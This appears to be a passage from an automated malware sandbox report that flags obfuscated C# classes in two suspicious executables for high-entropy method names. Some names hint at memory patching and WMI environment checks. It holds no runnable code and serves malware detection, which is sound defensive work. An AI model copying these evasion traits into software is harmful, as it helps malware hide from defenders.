Source: 6z9uno0baqvej0me.exe.0.dr, bRFnUZCCzOQQktsWRhAHLOd.cs	High entropy of concatenated method names: 'TGSpzALbonWVUFvPhnynv', 'aYLwQxxWgMnTUO', 'MCzCpbwXWCLl', 'aYPqqEfteDjNeSHJiBlgI', 'lzkGndBotELMvIxw', 'PjOhyPoLIpOoBaEbFm', 'GkRBrpKfBRXyMlY', 'xunnjvueonAsdHkq', 'gqsxhWrnjmulqBCc', 'GhRzhKpmNDp'
Source: 6z9uno0baqvej0me.exe.0.dr, kvAdeNHhLAvFBnSPLsjXnmuh.cs	High entropy of concatenated method names: 'KkybJPQqfTa', 'wipTLzNCqsPo', 'CNYRIyBSZUdIGClePVTrGOJtE', 'mhfNRUKeGBsYXVZqXO', 'KExbXbXvwqoDf', 'gLTnMCIybvkmq', 'ySQqvguXpGImuZNoSxMLrJFCL', 'DLcBqkkYxdaxI', 'SIWNfZIjlndnaeHpNNfjdjuoP', 'BWbjNUoOtinsXlDUa'
Source: 6z9uno0baqvej0me.exe.0.dr, ZAbCfCqEpIJbZTdz.cs	High entropy of concatenated method names: 'lMkuXZVQmvhalwPheBIO', 'CtuNkNjquMbXlNsBaCaF', 'sHJdDMtuuRVlziTqhmMla', 'iFDAjXgEzhIxKmkjgAqvzuG', 'meYKtPOTLzYEaDdWOpSnc', 'YgGxFLveso', 'ROEyVKjTolKOgJdWUhKcSJkGs', 'wKCXgGkFJpZ', 'sfiUnQNSZncpbwiLf', 'dxGROZQRFDeb'
Source: 6z9uno0baqvej0me.exe.0.dr, iVqXiRRWbtTaFgrOCj.cs	High entropy of concatenated method names: 'YJwawjgILPSRH', 'bbkjAnvjKbzCCwZtLGH', 'VTlvtnCJFGJcMudE', 'fBvPpyVauhji', 'ELJnKHqppNkleES', 'pISUmgFMEgVQUzFSa', 'CxTZjWOSqnLdLtDDFZQOfY', 'xjemaVqHSLq', 'UEQYwFUpRA', 'UbMRugBMHerVpFjoxz'
Source: 6z9uno0baqvej0me.exe.0.dr, BeNEQBpvCUYMUQvO.cs	High entropy of concatenated method names: 'XmhJotRMrlZrDmPUAPXFV', 'FfmVReXiQT', 'fdcMNMlvsYQQ', 'zhJsTAXIPVg', 'WTbnoJVGjX', 'mHnCmKdepPjV', 'UfOPvzQIvKqtJHDOvJTcY', 'kgykxlqrmnxrTJvFK', 'GArxwIcDZPtFPtLxuhQLB', 'RDXDwSouTpzkVYfnjpH'
Source: 6z9uno0baqvej0me.exe.0.dr, XvtqplFAmRakHnvLtpT.cs	High entropy of concatenated method names: 'pvkIPFGCSkUuaiSakf', 'DDDjqbzHeeclvgGp', 'KkakfDiBwfKYVVbOUQ', 'lMtgQxbXqzZOUsrPz', 'kYAUhuvpjJJ', 'WbQjDPQDJn', 'fsCXRqgdFbI', 'rWRezkbOROpcxxlobyvvw', 'UcfWeyCgDYOrYMml', 'SiZmRCaZTErBGfN'
Source: 6z9uno0baqvej0me.exe.0.dr, YCqdhaRTimJInloXKuRkyyz.cs	High entropy of concatenated method names: 'uMCOJPwusgMn', 'PTXkYSNOqJWmprPoquZDj', 'VYCJTqPPHYBluatzagls', 'CfcUXhGClmj', 'gyzhOzXzbB', 'kDxovrUtSrfSsapvIJNVlRiNc', 'RMhOtcAirQatLKQtRLAfHHYD', 'pNgLSVjLBZIMEx', 'RKjZVPxCEs', 'XMxmKndzDO'
Source: 6z9uno0baqvej0me.exe.0.dr, FeMXZbEkIGjJgevW.cs	High entropy of concatenated method names: '_003CPatchMem_003Eb__0', 'SWUgQdUHKXCuFjoLy', 'roZsWKRBZOrvYxlj', 'OvZynxCHmSjPwJch', 'PJyZAKOPDFP', 'zFJWOaQYWErWkj', 'hldEPNUhbkvNlLjjrnsnNat', 'jMJhLSbpQSgdaBzBeXil', 'MeNnUzirweHsvVD', 'mWIJFxTeGJq'
Source: 6z9uno0baqvej0me.exe.0.dr, DqloyPCLKAxwlGUiNTrkNgO.cs	High entropy of concatenated method names: '_003CCheckWMI_003Eb__4_0', 'gHevnUUNJwNuWDCjJuZrjVqjS', 'lOeaFCHQdWAhvAN', 'AQZpTbUtpQex', 'KRucUiFjjqLmFa', 'ibyZeaVZKdyKulkoXJC', 'FFEbRHYQZNDOBpK', 'SFTnprkzVYLyzB', 'cDHadWXHWCEAwakJFaWWRq', 'dOUFFtwZRXZaKt'
Source: 6z9uno0baqvej0me.exe.0.dr, FaWSNiFOezDcTYVZCPLVUHimA.cs	High entropy of concatenated method names: 'aFVOrfwcWXAYK', 'QIRzuExzUkYGtUfysk', 'AHztQIYfqCyYeEj', 'MqirvPallpk', 'cxYfQFKTROBrWYGwVLuCK', 'SHJsWkhOHaXnDt', 'THYuPnxprVXJdPavibN', 'QVYjZmCHbUiVNSCDWHu', 'USRWzbDyhfpMqNNxjp', 'dkqNWnBvLNWYagkK'
Source: 6z9uno0baqvej0me.exe.0.dr, NmTBqnwpsuQacpSXxPF.cs	High entropy of concatenated method names: 'xuQERGGdzsmey', 'cVTmmTFkOSqSyIviF', 'ZXhTWOjjhTp', 'IlbFMwDLcm', 'MfxNzHxhRmh', 'apJzFCCmmuO', 'EqtvyeucnRVnY', 'kbjmYObhAP', 'xyJZzTSRnI', 'OBimsERJUWaE'
Source: FixerNerest.exe.0.dr, lXExsaLrgYgEOOXK.cs	High entropy of concatenated method names: 'UwIbcfQhBviOX', 'cHxslOlqBYCceRobCYTdkZ', 'sJroPreddJ', 'ExRVmvaevkZzBzsZtJvtC', 'FFjtaVzWuZ', 'tMqKgmXDGeRTJqp', 'SlThPiCsLlsVFfYpz', 'ImBOMWYqvXnlaDlyglar', 'KKyyvuBxbFb', 'ciCUDZwJZneFaLpk'
Source: FixerNerest.exe.0.dr, kInYBznLcEoeuDSs.cs	High entropy of concatenated method names: 'yWUqFwYbPOyiIfALmotlTxK', 'HotTDfGtAOhQjefMP', 'llpcTYoSIOZGWAMxiQCEYjHEi', 'yjcHJgWWMZheVUekXsTtrgDl', 'PKKYCdkuYaEqAEsjzonPDvhZ', 'MOkoDSgqLuWMxJvwkwuZtW', 'bKrrQWsTclkpOAGVIYAoKW', 'BerTTzmzuqbJeLaPU', 'ataNUgweamBthdE', 'pNYDZUplqznqbKiJgWjdw'
Source: FixerNerest.exe.0.dr, uJXvYHzEhxLOfc.cs	High entropy of concatenated method names: 'SNWxJjZpddDWZAUIe', 'dlfCzIGMwkhjbfRrwqr', 'seUTuRVlaDMphkC', 'uPOOrxnoHtCXEhEeRMmzQLI', 'mVlsYsCqdaxgcdavqfMA', 'xgsziYVyCaiHfb', 'LvQPrLuekYComqIl', 'HUpottpUgsazPYwBEjvOwJCDC', 'agjiHupiALlg', 'CauKTTeVAFmhGMW'
Source: FixerNerest.exe.0.dr, vTsoiPoBagCkfnEE.cs	High entropy of concatenated method names: 'AGXlggLTczEETmLnHvVvVfz', 'mWyAVsqBZzpXkkPmgUG', 'kxGurwXriJVUHrz', 'iLyjICeTwnCWg', 'PAZiupPEJYUySQeVQtlE', 'VVWHiSmxDuA', 'zuUuYwJudBaOK', 'OpbXJlbeueDbMWdHGeUn', 'WKarwbKbTvHxyEx', 'fkPjVAprxknRWuwu'
Source: FixerNerest.exe.0.dr, OwtFvyBkOpRRzc.cs	High entropy of concatenated method names: 'DCLFoZlKenZ', 'CgtqbJuoLKkbarxoqh', 'DPnuJlizndmPSVVyDVyqH', 'ottRkewcwTw', 'VNPmkFsKHL', 'uSFFsuTsreybuBsAE', 'LgTSRzIjQl', 'yxycUyyfZDhdaFWXlVkrEnH', 'eFcBGwJdizthAyZDtVfydDsN', 'bXOgtpKpCyPWwYcuEvaLpXmv'
Source: FixerNerest.exe.0.dr, ogkoRtQNRnFHYCnvNGTSgt.cs	High entropy of concatenated method names: 'oOnwkySUEoBZ', 'FbzfjIHajOZmiphQxTIvYwZdx', 'PySATXdopmGojYmgFAO', 'CIkEHUteZJBVi', 'tIIivBJtzvJ', 'kjJrrZPneGNO', 'yezOgklGffdYWEMAIJpuxjJ', 'iRcFuZmutpwXKfSL', 'DEEgSUUCmWwYUvPUe', 'OHfLGsiehHoqcrdVufF'
Source: FixerNerest.exe.0.dr, iICVrXHYKfHIpFQXbL.cs	High entropy of concatenated method names: 'rFzCejHzsNZCU', 'HSyQLGECpvftBnpvEGjQsUj', 'XmjXOKldmRh', 'RGQFHoQEXliTKwITSDynir', 'YWgneJBGjGBdypdJDEfjlDQ', 'RBRKiTuFaOriaA', 'uVfyMITKdptuiDIHUGTWd', 'rXQMwDkyujCSkNGFDFyqnVo', 'LBRGWcGeIBdHhALPa', 'uKrQSvBPCNXmEWisBvm'
Source: FixerNerest.exe.0.dr, lczhEUcowbNWQ.cs	High entropy of concatenated method names: 'nrEZEgZidL', 'ImHNwZvxzK', 'vnnRPpKUMKNBwpKLnJm', 'zngwhUbABSZ', 'rJwRmmQjYJyqulL', 'lOHnMHfHHqkvOJSuk', 'JmssYAtCepopBwICOnKlEkep', 'vBUVOqEGybZft', 'HuJcpSRonnLuejzrYICicz', 'hQykjCUjWVxDruIoW'
Source: FixerNerest.exe.0.dr, prnQkWxyXENbjeKZECPLhTnn.cs	High entropy of concatenated method names: 'RauDLZwfTJkJZrHXrU', 'ZSRKucRvGrMVEzoSwCuMeRv', 'UaPeKInqzwNJAP', 'btdqnHofJl', 'KVwHLIWBqTMnlxDVV', 'meRgBTSBbIIf', 'GtlxSurkFnzZhPGssjlSXXHH', 'TcpKhOsKXFtAAlbeXgr', 'GUELIiYWMYjldTz', 'CaYZGPJJMrryKoz'
Source: FixerNerest.exe.0.dr, MWYDrsjTSJqoS.cs	High entropy of concatenated method names: 'qsTFEGzLlzHCnRKh', 'kVZucnSXyOYrEpBhFA', 'TrOFMAkZvpESJk', 'GTtYNEBhFsaThJGUiRwN', 'VQMtsNXiuwPGVjiogmJS', 'INmgCPpUWBMXA', 'DheVqezLvLMMaYgBemvYM', 'aMpyiNYvCj', 'yeGBRSoKxRaUppQo', 'WabbYAGRfsvlnzId'
Source: FixerNerest.exe.0.dr, ISaCjfIATBL.cs	High entropy of concatenated method names: 'gQsGvyIMyhFUMUyq', 'HdBWAJnBgCIBRMzoDmeHq', 'sdcEaNFqOgRPMYKzgHF', 'OwAKgUGgIiT', 'valXtviawqnbjCAadEFX', 'mRvdSXFGZh', 'NjTlnnGkYfHXIYaeUfC', 'cwgJIpuaYcT', 'JHOAjOnqxVyWeumEr', 'lbXcDRCKcxtfMwMkOAKauGs'
Source: FixerNerest.exe.0.dr, JMLcPxDFGCfojQLRgfkS.cs	High entropy of concatenated method names: 'TgKyLZaRtKtJzsQ', 'gtWFAthDVcgaJGHLH', 'qfBeDYcoNslfkY', 'sAmOMSZyGciszHmCiBjBkXBp', 'dMgpRqsIfRFVxvxRguBVfdgap', 'eAWKUyxQjGt', 'plqkTqghkFlk', 'dAUSzfFAOMr', 'VxHYgLrXXFQevJqtISYPm', 'qydykanIaYy'
Source: FixerNerest.exe.0.dr, TJTvwBaIBQS.cs	High entropy of concatenated method names: 'fwlmloNajoHIlHgMA', 'HXgWEcAWhAJvnIgLMZ', 'mxTiaUeBKKoUNIaIvrIrJm', 'GMQoBycZvHXNeo', 'FCaapLtfwmNzkTEhgAiMWK', 'dDiktMpuvUGlFRixDNg', 'BozrFqarNvbSvWwX', 'azTGsRfeizPx', 'eyppeoDqeC', 'yhAsopjULqcNNOJXTNXrK'
Source: FixerNerest.exe.0.dr, UhBFJdricqufqaojV.cs	High entropy of concatenated method names: 'ZluADFKYEZvUcgzYxWc', 'LcxxXJKzdEkHCbwweT', 'vvkYRmHNOfRcRHuSwnw', 'tuLvAonSBjDtdtggbE', 'KQwwTLbTAIJAIiqjBko', 'dzpMecXzYbNqsHlMx', 'rjYVnKsjuLmJewmfCLajSqncv', 'uSHBwemDsEzHLfUuh', 'MOwREMFalOfBw', 'aOQZctOIXaEhguzvPXIaPgcc'
Source: FixerNerest.exe.0.dr, WVihDmlAmRFUAdyEhT.cs	High entropy of concatenated method names: 'lcXdxSUGGnfVPqVnN', 'dNfzaclAov', 'DKYDOEzzsl', 'jfeNHvpeeqlEDF', 'mCurxeYGDcGRBlWnUOOdzUN', 'qLKRJRGUxVSxFBok', 'ZbkBdnsICRppc', 'SoYAmUHwmWlTgTYiTaeSatd', 'MXRIHAQfVczIgABQ', 'dpNPKHYjTxO'
Source: FixerNerest.exe.0.dr, KxxSSIzaCTUHBCvRNLqyDXZ.cs	High entropy of concatenated method names: 'TgaEpLqydIyuWCaHNS', 'mhcftdlvvpWnmYUymhulqdVe', 'DBvKkjllbnvrAhbEPuJHUMW', 'DoZThFJLym', 'cqlKFkCKkYHlzTgbiMWYrf', 'GwJSDWdksNryOejDXSBlcvDZ', 'AeaycOxxwe', 'wRyoHoPXIUSwyJ', 'GqtQKsjSDrClPzuBRzVHFUMdo', 'fRfhhcpdIHDfTVMzuwE'
Source: FixerNerest.exe.0.dr, LORYroboCXxqjpTmhsXqFkvZK.cs	High entropy of concatenated method names: 'ArLDvgByOLypWkkSBihjSpzIh', 'sVsaSsNtokczcRpk', 'HnrWmGmiNsaeLrDWco', 'GntGbcwzpCGPthOrUpx', 'OFrFznPcsZc', 'cJemOhQupG', 'gGchxxzjgeiQBwoGoNUHQZGnk', 'bdmZCQIHLyX', 'RftpwVtscqZ', 'bgVzgHzpwtVVwHbSIt'
Source: FixerNerest.exe.0.dr, VoFTVipipkK.cs	High entropy of concatenated method names: 'VMantYKYfAnacPRV', 'DQtAcwiaBZQaoUKaKqmcuoiCw', 'VBfrFRUkmUQUsPsMs', 'uxqfdzRZesDOhrECbhuJTzFEi', 'JqyWkhvjIzjpXfagmbhXmZ', 'pnKSjfvrmxnpaaI', 'VSyjETmJOjmM', 'XKDkZJjZPMDNHwrkpzF', 'SLEoqLVAADzsiNPmkFB', 'YjGGuVxXvZYkgiL'
Source: FixerNerest.exe.0.dr, tisnIiXyTCXvDDO.cs	High entropy of concatenated method names: 'iJnrHhQxpVf', 'afkSbpIpfAFPRx', 'noTZewWYBUkKLSu', 'nCHXoSFTOuYXiEXaKQdIWwBTE', 'ixrewXlCRNJa', 'VizKjXzqwwJAvplcqA', 'ThjHbjxAmgmKQjnHaWlSvE', 'lAieBizZaMVHvlb', 'blXMJJmtQIhLFFisO', 'xGtFwRnGMyucrWz'
Source: FixerNerest.exe.0.dr, gBeJmXXsXHezdPh.cs	High entropy of concatenated method names: 'eUDcfhQyzzyEOUmAxDQN', 'lmsKaeQoSgVylMzBA', 'ylfJmZSeDVdBZyULthLSE', 'zJhSdFcHmyx', 'RbrbzTrwbvLRHWe', 'TSqihvmVcUvMBwjeEI', 'sUSisaIcEyQLGbCoUIOk', 'pVzfXfueLgNzqmFBk', 'HYSiXLJplyIPVpYJDzSCVvNxs', 'DMQpwnjLGLEHynW'
Source: FixerNerest.exe.0.dr, EwsvuuRydySCmvfwUdTl.cs	High entropy of concatenated method names: 'LvCpvdStvFLfKcjkzIm', 'OTwhHeTfhdsyCEsB', 'FyRyFitGWcSvLUVgQQryVi', 'JmLRMNcFjivuJUW', 'lDakBAkVJWRm', 'BDUXhIMuQgtuWjNQaMLtHF', 'uxPICpIqvpSiebWbMKOUWhpf', 'XFiKFsgvIZZSAJE', 'qxEEAioEkzjt', 'ZNIkqfjZfpxlmWCwJMAJM'
Source: FixerNerest.exe.0.dr, QEEFRJhvySTxMB.cs	High entropy of concatenated method names: 'aDNCrkYOApwXNfzcDoeqHTo', 'oCobulrMvsWPQUkcspDQVmTP', 'qPIhKkHPTNpwwUPxjcUJjMjEB', 'SPXYCiYcDViflIPAwGugvUoSl', 'zGPegEfLRrrvL', 'YTQtPErLujPc', 'VCxaFmsjSNZp', 'zZqXIBvmIbEvDhSnLgO', 'uKIUQmISYFG', 'DlFRVWaOgWNasfBFZvGhKmi'
Source: FixerNerest.exe.0.dr, jZWTVmmWOyYUMMRcqrgzxt.cs	High entropy of concatenated method names: 'ebNNwrzjWnUktguoiZGMylOI', 'MzLyzOspersHZpfP', 'CgscXvwDxaqhwt', 'EtksnlWZbuPoC', 'JjbxjihQroDOuBnCHhy', 'CfFmbefHRhIGuXnrOkM', 'foCvoYqUlZmiq', 'dedoVFDazJgwUXNwn', 'UoAOcJxCnKWrvaQXt', 'NZOHHEpsPsET'
Source: FixerNerest.exe.0.dr, jDcxkJFhdsO.cs	High entropy of concatenated method names: 'ZVTlUGzgCUxzHTc', 'pLyoVESOrBkIzZvCXj', 'MjNkMsfBPGdpQhesSuawUD', 'tSVqgcZubYd', 'rcalvpCDHNMTbV', 'dIxnVJfTSqCzYpMCRmRm', 'rIfGRAwfFCOKvw', 'dlIGMIHvsqeNvLvgKjRlA', 'gDJinMnnodsaYge', 'ZHjMmPnmBUKWD'
Source: FixerNerest.exe.0.dr, VgiXrAmmXM.cs	High entropy of concatenated method names: 'RlSpcTxUImVHRJThXP', 'UFtJFrybKqoQQdWbgICKPSM', 'PAZQNYTOWgsWXcMy', 'rneUWEdvinYVFcBsZtF', 'iOmWZtklADDvEfX', 'izsvvVekutRDrdyiHfw', 'BHvdTruejdQZEVJaBJW', 'jBcfbguXFVoYj', 'ebEPcDbAAQcrzVTXhxJjtzeP', 'mxWYOospJq'
Source: FixerNerest.exe.0.dr, EiphzSFywDsQvfJ.cs	High entropy of concatenated method names: 'UguORtUtzui', 'dkKlBYhllU', 'PQlvpndBHrv', 'ulpsNbUzFBfoNQWBjyB', 'AZfxgyeGWsbIhFQA', 'fUKRUAOlwiYQb', 'IqbeUFrMPwNdNZW', 'HAWpDeqCfYQL', 'QGpuZSSGbwuUTFODrnoPp', 'YumPezZyvofczqYioH'
Source: FixerNerest.exe.0.dr, nkKpBsREeeBrrJgLniKFn.cs	High entropy of concatenated method names: 'uPkrNGBgDoNjgrSgOmrox', 'tJdcdXdhIRyApvFJfLCy', 'NeIdpsHUXOypNVbNkc', 'CWfvlfBXaEHglzFgfUz', 'eWMkDzLcZdwuiYvEhiXynU', 'QQiNpHpwtlozgKuslTZ', 'xINxNDBywxBAJqvUUmWUkgDJu', 'PumplfOWiICkzlGrA', 'jnpqOZXzwFOQFDDpoHLGLWmn', 'nSkmkNsgHZHi'
Source: FixerNerest.exe.0.dr, DDkXafHupjcDyMCFpVaefrMq.cs	High entropy of concatenated method names: 'qCGRdOsVhMwopUbX', 'jnSGDElovbagPMrtBj', 'BdLVjhRzGQzBzHCIZY', 'nyUdhmSpSAEunk', 'WzXRjZmEfXvZaZNDSVmwdgzei', 'ryzBWMRAkCkHopA', 'pFlNsPEwmZBoUpAtjShnEdBj', 'aoKTKgxvjqts', 'YbuDOwKdfuCrXWHN', 'LECFRbtdbtDslzGBOtFtAP'
Source: FixerNerest.exe.0.dr, OLCRwsTtwxxSGZuMngxi.cs	High entropy of concatenated method names: 'STWcrGlCPAYMVdXTCakSo', 'EXEssEuclOoxwsgoE', 'hrgwYFkwWskGMPwuOyYzO', 'HnPKYYhfmOVykwrHyyHw', 'BreCYBCdhQEYAjshOhMP', 'FWkNfzCGAZsRAFwkIzWfBFx', 'akNzakQugqwUtot', 'zXhqLGzdww', 'hqkpAZTnumC', 'PJylKJbrTFUfeXGFTkj'
Source: FixerNerest.exe.0.dr, JqoyJMwYkYeSSSLBCERtJfL.cs	High entropy of concatenated method names: '_003CRun_003Eb__1_0', 'eiLcBLWnxSzTbooKAH', 'jdfmOziWNDFxt', 'shTrcPinsNklrCmXVRYOlwywx', 'TpJjrUFVjGVTYscvlSC', 'IfkphnZeMviWtzvseI', 'PfVTfCCtglpKgtVV', 'FTBDubJoYyZZwjRdwmwmME', 'fustWkCcYdHnKGSUEMfHE', 'UkBYhkHYicAhWJCimD'
Source: FixerNerest.exe.0.dr, WpAqmEEzEwNIXIzRzOYiu.cs	High entropy of concatenated method names: 'xCQxqDhktAiNXUabbXDUuhnau', 'tGJXUzpZsyZoNASUCMZJk', 'rXnAeZCPPqDFKaaVgjX', 'ccBmJDCafaAkANPljUVQWcijl', 'pstggqmlDOVB', 'aXcjopSFwKplLNHcztSABNK', 'zuKyOKBQidutustuTCsh', 'uUcfJDVDApN', 'ukueUqmJZDiTO', 'GzXhyUcdEZiTEGfMhohg'
Source: FixerNerest.exe.0.dr, avfHckAjbIOftjcvbDvZXrf.cs	High entropy of concatenated method names: 'YzCIvbnXWQBODZHdYFCd', 'NKwQlKHrQVjPyjchr', 'zUrIdiNsBvRASoBJKpGrKQ', 'fFvSzEqevhRCJgEhNCs', 'LZQDuOpYnbzd', 'oLDhQOoLRVSAlscGHspR', 'UGprXkORrUhn', 'UVAzxnEwuDxCIVNR', 'jKMaTENqsdZuZBlNSYH', 'IuBMMaCspOP'
Source: FixerNerest.exe.0.dr, XOWrfubIFwwWSRBCkfv.cs	High entropy of concatenated method names: 'GzXbQMXAGN', 'mwxeQIuYrPpc', 'GQHFLAVEzNYYrvaTWaCrnJZ', 'mltpHDkRXfUAESpG', 'DniZGZMUFVonkExqmSZGgxv', 'HBMaaOElvzkVqvgMhVB', 'wdmaXKSzPzMGrFRFNlur', 'DrkUbzqmNZKwMhd', 'lDQvEVvmdeleaz', 'aKSslBFwKbMBaBKeYorbievL'
Source: FixerNerest.exe.0.dr, UACsUQnggztSoYk.cs	High entropy of concatenated method names: 'VdSINmzcYlFUDFbLWy', 'fqUxahHlBoZLppD', 'uGVDiBZTjLSdbYhvpFF', 'AgsaFAyozZPezcgFBvkeR', 'OOOdKcHeWj', 'QcOOuxhClUJvodzrcutVa', 'zRdMbqVhVDgujzRq', 'yCbfgETazKke', 'cNJvcwliVrhEyGPuuzaln', 'TzpSNJlcfkClbSkoWUFYdLub'
Source: FixerNerest.exe.0.dr, JfAFbFqmPAXuSFACrag.cs	High entropy of concatenated method names: 'RkDnIXrgyetV', 'sVHoXFlXRvG', 'epDDikiPXN', 'cMxDNKolHBpajsOTV', 'kzpwkehncPuKFgfxebaBXNcK', 'ApPTLUQNUnNjgcSWaiYqwwIum', 'msUXXWfxkpRTRu', 'xktSOyzIexfETCEgVhx', 'YsxQqEirdEGQdNzLPcYO', 'kpZrSLvgIwlTMEEnccKQHe'
Source: FixerNerest.exe.0.dr, fxrViPtroaCbyONKrcHijo.cs	High entropy of concatenated method names: 'cGXWrGRrNpktfJDBwyi', 'MCfobByeOtYEqSPP', 'tBkWiomOVhBoa', 'kBSSZbjvpHncU', 'gCNtoqDwxzdOsZF', 'xqoioCXzpobxMdjF', 'ViSUHzkHnEToLiJp', 'JxolcdfNDAPGjTPY', 'XrnzqqEbAxDKeGRHrTmQisEn', 'DzUADkEQRKS'
Source: FixerNerest.exe.0.dr, GprCBzVajSFPhcvMz.cs	High entropy of concatenated method names: '_003CPatchMem_003Eb__0', 'WYpgNUnjwEYMhBcgWYlMeqbwj', 'NMmrnMiPoxTKxWYciysWlr', 'QuyKVUgxswZG', 'wFQLeSMeNMbPoBIdEM', 'WEVxpCMvIA', 'NYQxfchgsTfdDiXvhS', 'UokWjXaHbJRXEemyC', 'rWfvXTjrbSPRGfcjfldCgaFVG', 'bwbyQjVwqwtZQQnsv'
Source: FixerNerest.exe.0.dr, AgGuxbclsJDKUXCF.cs	High entropy of concatenated method names: 'PgBtGwUrqzqNZCUoKeqOHE', 'uciUipnmdWskfbbukmD', 'bmYTGiVKsMrg', 'AGRXclBCMNqgS', 'NikFbDwDHDPNAUcuQfMZeU', 'XHABEPZhmotIb', 'GPcOxzNHOlha', 'wLTsKsYMybBrniW', 'ZGMAlKPjKgVwPtOUex', 'VTvjPDvIobXKQreofUZ'
Source: FixerNerest.exe.0.dr, NCWTJiYmOo.cs	High entropy of concatenated method names: 'fdXRNOXStt', 'qgnMDAxeooZwPsjKWKTw', 'HeaGYfIPuIRJgLpfweYojzNG', 'HZdEBIZwljCMFeUpPufH', 'jgteZfvHMIRUZRGeLtArN', 'cnSrADyUFhyuYskZbceoZalr', 'NOLEAfPZoEGMifrIrDjW', 'tOumSXNYVBCaKnpnQEC', 'UkodNsxnfhXBVBUzRSiH', 'ASCDlYsCVb'
Source: FixerNerest.exe.0.dr, qmajBmcCnsP.cs	High entropy of concatenated method names: '_003CCheckWMI_003Eb__4_0', 'akoWoQJegFQzWGz', 'sLLtHQapfaLkpD', 'GhBLeixaxKaECT', 'FDgyYJtcIK', 'yqNEYpdrKSVuU', 'ukOigLYWdVIEqeEMEsBU', 'HMsllbLJjkILQeYfubylc', 'swUyynxOdtAxn', 'VxvjMMtlztaAfhKQC'
Source: FixerNerest.exe.0.dr, JjNonPeEqnKrhUWFcwVNuQ.cs	High entropy of concatenated method names: 'HumVdnzFHHCRoAp', 'svjgfSSfzqHTWdUvtQGtB', 'ARrhDkeCiEmKcSLjnocHVmgf', 'dmHYXtvlxuSoyPhAxICh', 'ACkJcSRtYNlMy', 'yXeKLqZfXsupYuHYed', 'WcjXOvberZhhczpjdSyrrmVer', 'ntXmAjHObxOzPP', 'MiFqKSpjKeFflGkGFfAIh', 'EYyZNYrUdCjH'
Source: FixerNerest.exe.0.dr, XbJdqTwlJhtvvHI.cs	High entropy of concatenated method names: 'cQQnOSFXJkniwgH', 'CtFVrLKWlIexEaFmY', 'XIDtCEWlTGfNocZTtBCm', 'QGuBFnHTjfAKNJzVJr', 'yFrEqYTCXk', 'DklHGCJsxQPSkbeDbSax', 'JAoVYBDdlljjCbQYGCxMQ', 'kjnHdLUsjxmwujwliAFPLefi', 'AOfUQdlTPQFhRYrItCmw', 'ggbUUwGBiGD'
Source: FixerNerest.exe.0.dr, TpneWzinmRLNNvomkAusssN.cs	High entropy of concatenated method names: 'IuRdXCfNaLeGuJEFSv', 'zBBLzbjMHFiAa', 'LVbhFPjlxnBRhsbwpa', 'gOaHiRBnqYIrKDfincXNfcODN', 'itrkLPIDuNlOt', 'DctNpwrNCJoTRM', 'EzXtYjIvFMsiHJS', 'ZjHKDiBNRSUriwsyvlpNOUUgv', 'oBwNkEkMPjJCOVyJcFO', 'NITunVTEjEPbPXu'
Source: FixerNerest.exe.0.dr, MtweeSvrtsEjaEHkGcqcH.cs	High entropy of concatenated method names: 'DFiwVYdhZUOx', 'YRQgkFOHierWZwABKbbd', 'prwiwWNMSkU', 'WiSpwGWsAVaqZwccgP', 'nUcjaUxnjBuPuXuCNhLNUEk', 'TQFIAukgDrh', 'uzsVyTnrFFfT', 'tOuUBXikZPJPpmpQNMD', 'mIOpqPBQtyOkldHfpMBTyX', 'jjGJgybrtcetlAFe'
Source: FixerNerest.exe.0.dr, vFtGvLdAuIQGYPbHNoGtunigD.cs	High entropy of concatenated method names: 'BohTfzMQNzNDrnTSGfvSzctK', 'kQyFHWNDAJoSadRuICctK', 'SabgDkkwZvXjuiNKFdAzqdeAg', 'eYraQRZnxY', 'aScSDktvqiigxwzsKGo', 'bABGMFyeFKHlpgfKXhntlEpT', 'rteRYOhIcCZRWGymOqgbxrQR', 'VdTvKWLhKVLUNhvZcMeFtB', 'oHXOIsyzcMdCkONSfO', 'LkmRAIkBVfmMuUCeomICo'
Source: FixerNerest.exe.0.dr, OtMRnVOsGKHl.cs	High entropy of concatenated method names: 'OaJVtSKEyPaxQqAqb', 'AYiHvMpChJPGtAijBpNMbGp', 'PelUWeNCfT', 'MqHfxgrkBosV', 'OhpLdOPujgrRaUfDv', 'batVtuKPgkWnNX', 'LFppCYRDMdKP', 'XMLhFbQvgtnuBN', 'fYvSTJOOqNtoKWgrjexs', 'YohmHMfMBuBLjYoi'
Source: FixerNerest.exe.0.dr, ueHNMdjwjYBvgC.cs	High entropy of concatenated method names: 'KVvAMKuWDzYAKXvnmxTAjYSYH', 'HXDGRMJZqUXHDFzIEOodZY', 'lOxMCNlCXtXCXSwiLrkgaP', 'uOBbUEkdOjjSrTzGLFR', 'OfCbpHgcmo', 'NWjDyBlQynPJToAEOMkYbJO', 'OMZmMXIrasVwIQB', 'aoSMyWjnpCR', 'CPPDHSombzDbfX', 'bSDwyLeymqBSsclwKGsp'
Source: FixerNerest.exe.0.dr, WYdQIVjMOZZzFKSg.cs	High entropy of concatenated method names: 'xVmIWWPGmNsQwHeZFZzsKD', 'NuZjXgamrjtndQMzBOKVIqvS', 'vZAlToetaYNwnsa', 'aAhCTAJsZydAh', 'WzHRbHaBYuPtDryDNVjJi', 'NPyuPHLUKdMnCOpWQTkZbmn', 'xSuWkIRYEflrShrTp', 'jlhPokNqFQZ', 'ObbZxxNpjCMn', 'WcxEjbQkXCCrhdJIuCAz'
Source: FixerNerest.exe.0.dr, sDxpENeYXPsYVcYDBrZBiKvaq.cs	High entropy of concatenated method names: 'lMRPIUZJwfRESTctpRH', 'OqlcEVUlOiIWzabSHIGXy', 'gslwZGZpUeTDP', 'apKnAnvOXvErrJmgKjnCKsrI', 'NMYNeCvKgrRyTXLQRVpshPPD', 'TjQNkhxCqmbWAssIhLSUir', 'clsXBPPywVaKT', 'xvJUwdkjuRcxjADxjFc', 'obsKwmboeAaiZdjPI', 'mObsrauEgP'
Source: FixerNerest.exe.0.dr, fIEdZvXcpYAipTNh.cs	High entropy of concatenated method names: 'EgSyrpMyfurJMCyrIsjumlKCY', 'AfbyDBzvzsXWnTre', 'BgSdVCqgadnKTVPaVohXhqp', 'RCFUmFQCIrJVF', 'edkScYMkfXHwReKGLKrILSw', 'tVNkCcLuVcJDnPOR', 'hXiMpnlsBfzewhMgNYHLbiDLN', 'pUGTwwZKevOKEibsAw', 'PYvxWZqGGWyTW', 'OxRliiDElDQSDUZjjhHzxCuWk'
